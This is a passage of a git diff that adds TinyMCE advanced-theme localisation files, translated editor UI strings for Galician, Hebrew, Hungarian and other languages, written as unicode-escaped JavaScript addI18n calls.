le pr\u00e9fixe \u00ab http:// \u00bb ?","link_is_email":"L\'URL que vous avez saisie semble \u00eatre une adresse e-mail, souhaitez-vous ajouter le pr\u00e9fixe \u00ab mailto: \u00bb ?","link_titlefield":"Titre","link_target_blank":"Ouvrir dans une nouvelle fen\u00eatre","link_target_same":"Ouvrir dans la m\u00eame fen\u00eatre","link_target":"Cible","link_url":"URL du lien","link_title":"Ins\u00e9rer / \u00e9diter un lien","image_align_right":"Droite (flottant)","image_align_left":"Gauche (flottant)","image_align_textbottom":"Texte en bas","image_align_texttop":"Texte en haut","image_align_bottom":"En bas","image_align_middle":"Au milieu","image_align_top":"En haut","image_align_baseline":"Normal","image_align":"Alignement","image_hspace":"Espacement horizontal","image_vspace":"Espacement vertical","image_dimensions":"Dimensions","image_alt":"Description de l\'image","image_list":"Liste d\'images","image_border":"Bordure","image_src":"URL de l\'image","image_title":"Ins\u00e9rer / \u00e9diter une image","charmap_title":"Choisir le caract\u00e8re \u00e0 ins\u00e9rer","colorpicker_name":"Nom :","colorpicker_color":"Couleur :","colorpicker_named_title":"Couleurs nomm\u00e9es","colorpicker_named_tab":"Noms","colorpicker_palette_title":"Couleurs de la palette","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Nuancier","colorpicker_picker_tab":"Nuancier","colorpicker_title":"Choisir une couleur","code_wordwrap":"Retour \u00e0 la ligne","code_title":"\u00c9diteur de source HTML","anchor_name":"Nom de l\'ancre","anchor_title":"Ins\u00e9rer / \u00e9diter une ancre","about_loaded":"Plugins charg\u00e9s","about_version":"Version","about_author":"Auteur","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licence","about_help":"Aide","about_general":"\u00c0 propos","about_title":"\u00c0 propos de TinyMCE","charmap_usage":"Utilisez les fl\u00e8ches gauche et droite pour naviguer.","anchor_invalid":"Veuillez sp\u00e9cifier un nom d\'ancre valide.","accessibility_help":"Aide \u00e0 l\'accessibilit\u00e9","accessibility_usage_title":"Usage g\u00e9n\u00e9ral","invalid_color_value":"Valeur de couleur invalide"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/gl.js b/js/tiny_mce/themes/advanced/langs/gl.js new file mode 100755 index 0000000..cf00430 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/gl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced',{"underline_desc":"Subli\u00f1ado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"Termo de definici\u00f3n",samp:"Mostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Bloque de cita",h6:"Encabezamento 6",h5:"Encabezamento 5",h4:"Encabezamento 4",h3:"Encabezamento 3",h2:"Encabezamento 2",h1:"Encabezamento 1",pre:"Pre-formateado",address:"Enderezo",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fonte","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1is cores","toolbar_focus":"Ir \u00f3s bot\u00f3ns de ferramentas - Alt+Q, Ir \u00f3 editor - Alt-Z, Ir \u00e1 ruta do elemento - Alt-X",newdocument:"\u00bfSeguro que desexa limpar todo o contido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar non est\u00e1 disponible en Mozilla e Firefox.\n\u00bfDesexa obter mais informaci\u00f3n sobre de este asunto?","blockquote_desc":"Cita","help_desc":"Axuda","newdocument_desc":"Novo documento","image_props_desc":"Propiedades de imaxe","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar \u00e1ncora","visualaid_desc":"Mostrar/ocultar li\u00f1a de gu\u00eda/elementos invisibres","charmap_desc":"Insertar caracteres persoalizados","backcolor_desc":"Seleccionar cor do fondo","forecolor_desc":"Seleccionar cor do texto","custom1_desc":"A s\u00faa descripci\u00f3n persoal aqu\u00ed","removeformat_desc":"quitar formato","hr_desc":"Insertar regra horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar lixo no c\u00f3digo","image_desc":"Insertar/editar imaxe","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Re-facer (Ctrl+Y)","undo_desc":"Desfacer (Ctrl+Z)","indent_desc":"Aumentar sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Xustificar","justifyright_desc":"Ali\u00f1ar \u00e1 dereita","justifycenter_desc":"Ali\u00f1ar \u00f3 centro","justifyleft_desc":"Ali\u00f1ar \u00e1 esquerda","striketrough_desc":"Tachado","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/gl_dlg.js b/js/tiny_mce/themes/advanced/langs/gl_dlg.js new file mode 100755 index 0000000..279bc29 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced_dlg',{"link_list":"Lista de hiperv\u00ednculos","link_is_external":"A URL introducida semella ser un v\u00ednculo externo, \u00bfDesexa engadi-lo prefixo necesario http://?","link_is_email":"A URL introducida semella ser un enderezo de e-mail, \u00bfDesexa engadi-lo prefixo necesario mailto:?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir v\u00ednculo nunha vent\u00e1 nova","link_target_same":"Abrir v\u00ednculo na mesma vent\u00e1","link_target":"Obxetivo","link_url":"URL do enlace","link_title":"Insertar/editar enlace","image_align_right":"Dereita","image_align_left":"Esquerda","image_align_textbottom":"Texto abaixo","image_align_texttop":"Texto arriba","image_align_bottom":"Abaixo","image_align_middle":"Medio","image_align_top":"Arriba","image_align_baseline":"Li\u00f1a base","image_align":"Ali\u00f1aci\u00f3n","image_hspace":"Espacio horizontal","image_vspace":"Espacio vertical","image_dimensions":"Dimensi\u00f3n","image_alt":"Descripci\u00f3n da imaxe","image_list":"Lista de Imaxes","image_border":"Borde","image_src":"URL da imaxe","image_title":"Insertar/editar imaxe","charmap_title":"Seleccionar caracter personalizado","colorpicker_name":"Nome:","colorpicker_color":"Cor:","colorpicker_named_title":"Cores nomeados","colorpicker_named_tab":"Nomeados","colorpicker_palette_title":"Paleta de cores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Selector de cores","colorpicker_picker_tab":"Selector","colorpicker_title":"Seleccionar cor","code_wordwrap":"Cortar li\u00f1as autom\u00e1ticamente","code_title":"Editor HTML","anchor_name":"Nome da \u00e1ncora","anchor_title":"Insertar/editar \u00e1ncora","about_loaded":"Comprementos cargados","about_version":"Versi\u00f3n","about_author":"Autor","about_plugin":"Compremento","about_plugins":"Comprementos","about_license":"Licencia","about_help":"Axuda","about_general":"Sobre","about_title":"Sobre TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/he.js b/js/tiny_mce/themes/advanced/langs/he.js new file mode 100755 index 0000000..2c50a4b --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/he.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced',{"underline_desc":"\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d5\u05df (Ctrl+U)","italic_desc":"\u05e0\u05d8\u05d5\u05d9 (Ctrl+I)","bold_desc":"\u05de\u05d5\u05d3\u05d2\u05e9 (Ctrl+B)",dd:"\u05d4\u05d2\u05d3\u05e8\u05ea \u05d4\u05de\u05d5\u05e9\u05d2",dt:"\u05de\u05d5\u05e9\u05d2",samp:"\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",code:"\u05e7\u05d5\u05d3",blockquote:"\u05e6\u05d9\u05d8\u05d5\u05d8 \u05e7\u05d8\u05e2",h6:"\u05db\u05d5\u05ea\u05e8\u05ea 6",h5:"\u05db\u05d5\u05ea\u05e8\u05ea 5",h4:"\u05db\u05d5\u05ea\u05e8\u05ea 4",h3:"\u05db\u05d5\u05ea\u05e8\u05ea 3",h2:"\u05db\u05d5\u05ea\u05e8\u05ea 2",h1:"\u05db\u05d5\u05ea\u05e8\u05ea 1",pre:"Preformatted",address:"\u05db\u05ea\u05d5\u05d1\u05ea",div:"Div",paragraph:"\u05e4\u05e1\u05e7\u05d4",block:"\u05e2\u05d9\u05e6\u05d5\u05d1",fontdefault:"\u05d2\u05d5\u05e4\u05df","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","style_select":"\u05e1\u05d2\u05e0\u05d5\u05e0\u05d5\u05ea","more_colors":"\u05e2\u05d5\u05d3 \u05e6\u05d1\u05e2\u05d9\u05dd","toolbar_focus":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd - Alt+Q, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05de\u05e2\u05d1\u05d3 \u05ea\u05de\u05dc\u05d9\u05dc\u05d9\u05dd - Alt-Z, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e0\u05ea\u05d9\u05d1 \u05d4\u05d0\u05dc\u05de\u05d8\u05d9\u05dd - Alt-X",newdocument:"\u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05de\u05d7\u05d5\u05e7 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df?",path:"path","clipboard_msg":"\u05d4\u05e2\u05ea\u05e7/\u05d2\u05d6\u05d5\u05e8/\u05d4\u05d3\u05d1\u05e7 \u05dc\u05d0 \u05d6\u05de\u05d9\u05e0\u05d9\u05dd \u05d1 Mozilla \u05d5\u05d1-Firefox.\n \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e7\u05d1\u05dc \u05de\u05d9\u05d3\u05e2 \u05e0\u05d5\u05e1\u05e3 \u05e2\u05dc \u05d4\u05e0\u05d5\u05e9\u05d0?","blockquote_desc":"\u05e6\u05d9\u05d8\u05d5\u05d8","help_desc":"\u05e2\u05d6\u05e8\u05d4","newdocument_desc":"\u05de\u05e1\u05de\u05da \u05d7\u05d3\u05e9","image_props_desc":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","paste_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4","copy_desc":"\u05d4\u05e2\u05ea\u05e7\u05d4","cut_desc":"\u05d2\u05d6\u05d9\u05e8\u05d4","anchor_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","visualaid_desc":"\u05d4\u05e6\u05d2\u05d4 \u05d0\u05d5 \u05d4\u05e1\u05ea\u05e8\u05d4 \u05e9\u05dc \u05e1\u05d9\u05de\u05d5\u05e0\u05d9 \u05e2\u05d9\u05e6\u05d5\u05d1","charmap_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05d9\u05de\u05df","backcolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","forecolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05d2\u05d5\u05e4\u05df","custom1_desc":"\u05d4\u05ea\u05d0\u05d5\u05e8 \u05e9\u05dc\u05da \u05db\u05d0\u05d5","removeformat_desc":"\u05d4\u05e1\u05e8\u05ea \u05e2\u05d9\u05e6\u05d5\u05d1","hr_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e7\u05d5 \u05de\u05e4\u05e8\u05d9\u05d3","sup_desc":"\u05db\u05ea\u05d1 \u05ea\u05d7\u05ea\u05d9","sub_desc":"\u05db\u05ea\u05d1 \u05e2\u05d9\u05dc\u05d9","code_desc":"\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d5\u05d3 HTML","cleanup_desc":"\u05e0\u05d9\u05e7\u05d5\u05d9 \u05e7\u05d5\u05d3","image_desc":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05d3\u05e3 \u05ea\u05de\u05d5\u05e0\u05d4","unlink_desc":"\u05d4\u05e1\u05e8\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","redo_desc":"\u05d7\u05d6\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Y)","undo_desc":"\u05d1\u05d9\u05d8\u05d5\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Z)","indent_desc":"\u05d4\u05e7\u05d8\u05e0\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","outdent_desc":"\u05d4\u05d2\u05d3\u05dc\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","numlist_desc":"\u05de\u05e1\u05e4\u05d5\u05e8","bullist_desc":"\u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd","justifyfull_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e9\u05e0\u05d9 \u05d4\u05e6\u05d3\u05d3\u05d9\u05dd","justifyright_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05d9\u05de\u05d9\u05df","justifycenter_desc":"\u05de\u05d9\u05e8\u05db\u05d5\u05d6 \u05d8\u05e7\u05e1\u05d8","justifyleft_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05e9\u05de\u05d0\u05dc","striketrough_desc":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","help_shortcut":"\u05dc\u05d7\u05e6/\u05d9 ALT-F10 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd. \u05dc\u05d7\u05e6/\u05d9 ALT-0 \u05dc\u05e2\u05d6\u05e8\u05d4","rich_text_area":"\u05d0\u05d6\u05d5\u05e8 \u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8","shortcuts_desc":"\u05e2\u05d6\u05e8\u05ea \u05d2\u05d9\u05e9\u05d4",toolbar:"\u05e1\u05e8\u05d2\u05dc \u05db\u05dc\u05d9\u05dd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/he_dlg.js b/js/tiny_mce/themes/advanced/langs/he_dlg.js new file mode 100755 index 0000000..7e84600 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced_dlg',{"link_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","link_is_external":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9 \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea http:// \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","link_is_email":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05d9\u05d9\u05dc \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea MAILTO \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","link_titlefield":"\u05db\u05d5\u05ea\u05e8\u05ea","link_target_blank":"\u05e4\u05ea\u05d7 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9","link_target_same":"\u05e4\u05ea\u05d7 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05d0\u05d5\u05ea\u05d5 \u05d7\u05dc\u05d5\u05df","link_target":"\u05d9\u05e2\u05d3","link_url":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8","link_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","image_align_right":"\u05d9\u05de\u05d9\u05df","image_align_left":"\u05e9\u05de\u05d0\u05dc","image_align_textbottom":"\u05e7\u05e6\u05d4 \u05d4\u05ea\u05d7\u05ea\u05d5\u05df \u05e9\u05dc \u05d4\u05d8\u05e7\u05e1\u05d8","image_align_texttop":"\u05e7\u05e6\u05d4 \u05d4\u05e2\u05dc\u05d9\u05d5\u05df \u05e9\u05dc \u05d4\u05d8\u05e7\u05e1\u05d8","image_align_bottom":"\u05e7\u05e6\u05d4 \u05d4\u05ea\u05d7\u05ea\u05d5\u05df","image_align_middle":"\u05d0\u05de\u05e6\u05e2","image_align_top":"\u05e7\u05e6\u05d4 \u05d4\u05e2\u05dc\u05d9\u05d5\u05df","image_align_baseline":"\u05e7\u05d5 \u05d4\u05d4\u05ea\u05d7\u05dc\u05d4","image_align":"\u05d9\u05d9\u05e9\u05d5\u05e8","image_hspace":"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05d5\u05e4\u05e7\u05d9","image_vspace":"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05e0\u05db\u05d9","image_dimensions":"\u05d2\u05d5\u05d3\u05dc","image_alt":"\u05ea\u05d9\u05d0\u05d5\u05e8","image_list":"\u05e8\u05e9\u05d9\u05de\u05d4","image_border":"\u05d2\u05d1\u05d5\u05dc","image_src":"\u05db\u05ea\u05d5\u05d1\u05ea:","image_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05ea\u05de\u05d5\u05e0\u05d4","charmap_title":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e1\u05d9\u05de\u05df","colorpicker_name":"\u05e9\u05dd:","colorpicker_color":"\u05e6\u05d1\u05e2:","colorpicker_named_title":"\u05e6\u05d1\u05e2\u05d9\u05dd \u05d1\u05e2\u05dc\u05d9 \u05e9\u05de\u05d5\u05ea","colorpicker_named_tab":"\u05e6\u05d1\u05e2\u05d9\u05dd \u05d1\u05e2\u05dc\u05d9 \u05e9\u05de\u05d5\u05ea","colorpicker_palette_title":"\u05dc\u05d5\u05d7 \u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_palette_tab":"\u05dc\u05d5\u05d7 \u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_picker_title":"\u05d1\u05d5\u05e8\u05e8 \u05d4\u05e6\u05d1\u05e2\u05d9\u05dd","colorpicker_picker_tab":"\u05d1\u05d5\u05e8\u05e8","colorpicker_title":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2","code_wordwrap":"\u05d2\u05dc\u05d9\u05e9\u05ea \u05d8\u05e7\u05e1\u05d8","code_title":"\u05e2\u05d5\u05e8\u05da \u05d4-HTML","anchor_name":"\u05e9\u05dd \u05d4\u05e1\u05d9\u05de\u05e0\u05d9\u05d4","anchor_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","about_loaded":"\u05ea\u05d5\u05e1\u05e4\u05d5\u05ea \u05e4\u05e2\u05d9\u05dc\u05d5\u05ea","about_version":"\u05d2\u05d9\u05e8\u05e1\u05d4","about_author":"\u05d9\u05d5\u05e6\u05e8","about_plugin":"\u05ea\u05d5\u05e1\u05e4\u05ea","about_plugins":"\u05ea\u05d5\u05e1\u05e4\u05d5\u05ea","about_license":"\u05e8\u05e9\u05d9\u05d5\u05df","about_help":"\u05e2\u05d6\u05e8\u05d4","about_general":"\u05d0\u05d5\u05d3\u05d5\u05ea","about_title":"\u05d0\u05d5\u05d3\u05d5\u05ea TinyMCE","charmap_usage":"\u05d4\u05e9\u05ea\u05de\u05e9/\u05d9 \u05d1\u05d7\u05d9\u05e6\u05d9\u05dd \u05dc\u05e0\u05d9\u05d5\u05d5\u05d8 \u05d9\u05de\u05d9\u05e0\u05d4 \u05d5\u05e9\u05de\u05d0\u05dc\u05d4","anchor_invalid":"\u05e0\u05d0 \u05dc\u05e6\u05d9\u05d9\u05df \u05e9\u05dd \u05d7\u05d5\u05e7\u05d9","accessibility_help":"\u05e2\u05d6\u05e8\u05d4 \u05d1\u05e0\u05d2\u05d9\u05e9\u05d5\u05ea","accessibility_usage_title":"\u05e9\u05d9\u05de\u05d5\u05e9 \u05db\u05dc\u05dc\u05d9"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/hu.js b/js/tiny_mce/themes/advanced/langs/hu.js new file mode 100755 index 0000000..b5a0cbd --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/hu.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced',{"underline_desc":"Al\u00e1h\u00fazott (Ctrl+U)","italic_desc":"D\u0151lt (Ctrl+I)","bold_desc":"F\u00e9lk\u00f6v\u00e9r (Ctrl+B)",dd:"Defin\u00edci\u00f3 a defin\u00edci\u00f3s list\u00e1ban",dt:"Defini\u00e1lt kifejez\u00e9s a defin\u00edci\u00f3s list\u00e1ban",samp:"K\u00f3d minta",code:"K\u00f3d",blockquote:"Id\u00e9zet",h6:"C\u00edmsor 6",h5:"C\u00edmsor 5",h4:"C\u00edmsor 4",h3:"C\u00edmsor 3",h2:"C\u00edmsor 2",h1:"C\u00edmsor 1",pre:"El\u0151form\u00e1zott",address:"C\u00edm",div:"Div",paragraph:"Bekezd\u00e9s",block:"Form\u00e1tum",fontdefault:"Bet\u0171t\u00edpus","font_size":"Bet\u0171m\u00e9ret","style_select":"St\u00edlusok","image_delta_height":"","image_delta_width":"","more_colors":"Tov\u00e1bbi sz\u00ednek","toolbar_focus":"Eszk\u00f6zgombokra ugr\u00e1s - Alt+Q, Szerkeszt\u0151h\u00f6z ugr\u00e1s - Alt-Z, Elem\u00fatvonalhoz ugr\u00e1s - Alt-X",newdocument:"Biztosan t\u00f6rli az eddigi tartalmat?",path:"\u00datvonal","clipboard_msg":"A M\u00e1sol\u00e1s/Kiv\u00e1g\u00e1s/Besz\u00far\u00e1s funkci\u00f3k nem \u00e9rhet\u0151ek el Mozilla \u00e9s Firefox alatt. Szeretne t\u00f6bbet megtudni err\u0151l?","blockquote_desc":"Id\u00e9zet","help_desc":"Seg\u00edts\u00e9g","newdocument_desc":"\u00daj dokumentum","image_props_desc":"K\u00e9p tulajdons\u00e1gai","paste_desc":"Besz\u00far\u00e1s","copy_desc":"M\u00e1sol\u00e1s","cut_desc":"Kiv\u00e1g\u00e1s","anchor_desc":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","visualaid_desc":"Vezet\u0151vonalak/nem l\u00e1that\u00f3 elemek ki-/bekapcsol\u00e1sa","charmap_desc":"Speci\u00e1lis karakter besz\u00far\u00e1sa","backcolor_desc":"H\u00e1tt\u00e9rsz\u00edn v\u00e1laszt\u00e1sa","forecolor_desc":"Sz\u00f6vegsz\u00edn v\u00e1laszt\u00e1sa","custom1_desc":"Az \u00f6n egyedi le\u00edr\u00e1sa","removeformat_desc":"Form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","hr_desc":"V\u00edzszintes elv\u00e1laszt\u00f3 vonal besz\u00far\u00e1sa","sup_desc":"Fels\u0151 index","sub_desc":"Als\u00f3 index","code_desc":"HTML forr\u00e1s szerkeszt\u00e9se","cleanup_desc":"Minden form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","image_desc":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","unlink_desc":"Link elt\u00e1vol\u00edt\u00e1sa","link_desc":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","redo_desc":"M\u00e9gis v\u00e9grehajt (Ctrl+Y)","undo_desc":"Visszavon\u00e1s (Ctrl+Z)","indent_desc":"Beh\u00faz\u00e1s n\u00f6vel\u00e9se","outdent_desc":"Beh\u00faz\u00e1s cs\u00f6kkent\u00e9se","numlist_desc":"Rendezett lista","bullist_desc":"Rendezetlen lista","justifyfull_desc":"Sorkiz\u00e1rt","justifyright_desc":"Jobbra z\u00e1rt","justifycenter_desc":"K\u00f6z\u00e9pre z\u00e1rt","justifyleft_desc":"Balra z\u00e1rt","striketrough_desc":"\u00c1th\u00fazott","help_shortcut":"Ugr\u00e1s az eszk\u00f6zt\u00e1rhoz: ALT-F10. Seg\u00edts\u00e9g: ALT-0.","rich_text_area":"Rich Text ter\u00fclet","shortcuts_desc":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3",toolbar:"Eszk\u00f6zt\u00e1r","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/hu_dlg.js b/js/tiny_mce/themes/advanced/langs/hu_dlg.js new file mode 100755 index 0000000..33c197d --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced_dlg',{"link_list":"Link lista","link_is_external":"A be\u00edrt internet c\u00edm k\u00fcls\u0151 hivatkoz\u00e1snak t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges http://-vel kieg\u00e9sz\u00edteni?","link_is_email":"A be\u00edrt internet c\u00edm e-mail c\u00edmnek t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges mailto:-val kieg\u00e9sz\u00edteni?","link_titlefield":"C\u00edm","link_target_blank":"\u00faj ablakba","link_target_same":"azonos ablakba","link_target":"Megnyit\u00e1s","link_url":"Internet c\u00edm","link_title":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","image_align_right":"Jobbra","image_align_left":"Balra","image_align_textbottom":"Sz\u00f6veg alj\u00e1hoz","image_align_texttop":"Sz\u00f6veg tetej\u00e9hez","image_align_bottom":"Lentre","image_align_middle":"K\u00f6z\u00e9pre","image_align_top":"Fentre","image_align_baseline":"Alapvonalhoz","image_align":"Igaz\u00edt\u00e1s","image_hspace":"V\u00edzszintes t\u00e1v","image_vspace":"F\u00fcgg\u0151leges t\u00e1v","image_dimensions":"M\u00e9retek","image_alt":"K\u00e9p le\u00edr\u00e1s","image_list":"K\u00e9p lista","image_border":"Keret","image_src":"K\u00e9p URL","image_title":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","charmap_title":"Egyedi karakter v\u00e1laszt\u00e1sa","colorpicker_name":"N\u00e9v:","colorpicker_color":"Sz\u00edn:","colorpicker_named_title":"Elnevezett sz\u00ednek","colorpicker_named_tab":"Elnevezettek","colorpicker_palette_title":"Paletta sz\u00ednek","colorpicker_palette_tab":"Paletta","colorpicker_picker_title":"Sz\u00ednv\u00e1laszt\u00f3","colorpicker_picker_tab":"V\u00e1laszt\u00f3","colorpicker_title":"Sz\u00ednv\u00e1laszt\u00e1s","code_wordwrap":"Sz\u00f6veg t\u00f6rdel\u00e9se","code_title":"HTML forr\u00e1s szerkeszt\u00e9se","anchor_name":"Horgonyn\u00e9v","anchor_title":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","about_loaded":"Bet\u00f6lt\u00f6tt pluginok","about_version":"Verzi\u00f3","about_author":"Szerz\u0151","about_plugin":"Plugin","about_plugins":"Pluginok","about_license":"Licenc","about_help":"Seg\u00edts\u00e9g","about_general":"R\u00f3lunk","about_title":"A TinyMCE-r\u0151l","charmap_usage":"A navig\u00e1l\u00e1shoz haszn\u00e1ld a bal \u00e9s jobb oldali nyilat.","anchor_invalid":"Adjon meg egy helyes horgony nevet.","accessibility_help":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3","accessibility_usage_title":"\u00c1ltal\u00e1nos haszn\u00e1lat"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/id.js b/js/tiny_mce/themes/advanced/langs/id.js new file mode 100755 index 0000000..cfd77b8 --- /dev/null +++ 